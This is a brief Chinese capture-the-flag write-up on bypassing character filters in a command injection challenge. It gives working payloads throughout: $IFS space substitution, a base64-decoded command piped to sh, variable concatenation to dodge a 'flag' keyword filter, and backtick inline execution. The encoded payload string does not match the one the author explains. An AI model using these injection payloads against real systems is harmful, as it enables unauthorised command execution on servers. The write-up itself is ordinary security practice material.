通过大佬的博客学习知道怎么绕过
命令执行漏洞利用及绕过方式总结
首先使用burp抓包看看过滤了什么字符
基本上大部分字符都被过滤了,就很烦人
尝试构造?ip=127.0.0.1;ls
发现有两个东西
?ip=127.0.0.1;ls flag.php
发现被过滤
空格和flag都被过滤了
用刚才学到的${IFS}绕过
可能{}也被过滤了
用$IFS$1绕过
在网上看到源码
发现bash也被过滤
还好sh可以利用
?ip=127.0.0.1;echo$IFS$1Y2phpF0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw是cat flag.php的base64-encode
成功拿到flag
或者用变量拼接↓
我们看到源码中有一个$a变量可以覆盖
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
通过学习大佬发现还有一种方法:
内联执行绕过
payload: cat$IFS$1`ls`
使用内联执行会将 ``内的输出作为前面命令的输入,当我们输入上述payload时,等同于cat flag.php;cat index.php